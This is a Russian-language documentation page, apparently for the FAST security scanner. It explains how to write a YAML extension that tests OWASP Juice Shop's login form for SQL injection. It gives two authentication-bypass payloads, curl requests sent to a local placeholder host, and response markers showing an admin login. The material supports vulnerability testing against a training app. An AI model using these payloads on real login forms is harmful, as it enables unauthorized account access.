Создание немодифицирующего расширения
Расширение, которое описано в этом документе, не будет модифицировать поступивший базовый запрос. Вместо этого на хост, указанный в базовом запросе, будут посылаться два заранее сконструированных запроса с полезными нагрузками, которые могут вызвать срабатывание SQLi-уязвимости в форме логина целевого приложения OWASP Juice Shop.
Подготовка
Перед созданием расширения рекомендуется изучить логику работы приложения, для которого создается расширение.
Конструирование расширения
Создайте YAML-файл, описывающий расширение, например, non-mod-extension.yaml
, и наполните его требуемыми секциями:
-
Подготовьте описание уязвимости, которую позволяет обнаружить расширение:
- заголовок для уязвимости:
OWASP Juice Shop SQLi (non-mod extension)
; - описание уязвимости:
Demo of SQLi in OWASP Juice Shop (Admin Login)
; - тип уязвимости: SQL-инъекция;
- уровень опасности уязвимости: высокий.
Соответствующая секция
meta-info
будет иметь следующий вид:meta-info: - type: sqli - threat: 80 - title: 'OWASP Juice Shop SQLi (non-mod extension)' - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
- заголовок для уязвимости:
Секция
send
, фаза Send.Известно, что есть две полезные нагрузки, любую из которых необходимо отправить целевому приложению в параметре
email
, чтобы в сочетании с любым параметромpassword
вызвать срабатывание SQL-инъекции:'or 1=1 --
admin@juice-sh.op'--
Вы можете описать два тестовых запроса, каждый из которых будет содержать в себе параметр
email
с одной полезной нагрузкой и параметрpassword
с произвольным значением. Для проверки конкретного целевого приложения (OWASP Juice Shop) достаточно одного запроса.Однако, наличие нескольких подготовленных запросов может помочь при тестировании реального приложения: если в новой версии приложения один из описанных запросов перестанет вызывать срабатывание уязвимости, останутся другие запросы, которые помогут выявить уязвимость в приложении при помощи других полезных нагрузок.
Запрос, содержащий первую полезную нагрузку, может быть таким:
curl --request POST --url http://ojs.example.local/rest/user/login \ --header 'content-type: application/json' \ --header 'host: ojs.example.local' \ --data '{"email":"'\''or 1=1 --", "password":"12345"}'
Запрос, содержащий вторую полезную нагрузку, выглядит аналогично:
curl --request POST --url http://ojs.example.local/rest/user/login \ --header 'content-type: application/json' \ --header 'host: ojs.example.local' \ --data '{"email":"admin@juice-sh.op'\''--", "password":"12345"}'
Создайте секцию
send
, содержащую в себе описания этих двух запросов:send: - method: 'POST' url: '/rest/user/login' headers: - 'Content-Type': 'application/json' body: '{"email":"''or 1=1 --","password":"12345"}' - method: 'POST' url: '/rest/user/login' headers: - 'Content-Type': 'application/json' body: '{"email":"admin@juice-sh.op''--","password":"12345"}'
Работа с заголовком Host
Заголовок
Host
можно опустить, так как его наличие не влияет на эксплуатацию уязвимости. FAST-нода сама добавит к запросу заголовокHost
, который будет взят из поступившего базового запроса.Подробнее о том, как фаза Send работает с заголовками, читайте в описании фазы.
Секция
detect
, фаза Detect.Индикаторами успешной аутентификации пользователя с административными правами служат:
- Наличие в теле ответа параметра «идентификатор корзины» со значением
1
. Параметр в ответе представлен в виде JSON следующим образом:
"bid":1
- Наличие в теле ответа параметра «e-mail пользователя» со значением
admin@juice-sh.op
. Параметр в ответе представлен в виде JSON следующим образом:
"umail":"admin@juice-sh.op"
Добавьте в расширение секцию
detect
, которая проверяет факт успешности атаки в соответствии с описанными выше соображениями:detect: - response: - body: "\"umail\":\"admin@juice-sh.op\"" - body: "\"bid\":1"
- Наличие в теле ответа параметра «идентификатор корзины» со значением
Файл с расширением
Файл non-mod-extension.yaml
, приведенный ниже, содержит итоговое расширение со всеми необходимыми секциями.
non-mod-extension.yaml
meta-info:
- type: sqli
- threat: 80
- title: 'OWASP Juice Shop SQLi (non-mod extension)'
- description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)'
send:
- method: 'POST'
url: '/rest/user/login'
headers:
- 'Content-Type': 'application/json'
body: '{"email":"''or 1=1 --","password":"12345"}'
- method: 'POST'
url: '/rest/user/login'
headers:
- 'Content-Type': 'application/json'
body: '{"email":"admin@juice-sh.op''--","password":"12345"}'
detect:
- response:
- body: "\"umail\":\"admin@juice-sh.op\""
- body: "\"bid\":1"
Использование расширения
Информация о том, как использовать созданное расширение FAST, расположена здесь.
results matching ""
No results matching ""
results matching ""
No results matching ""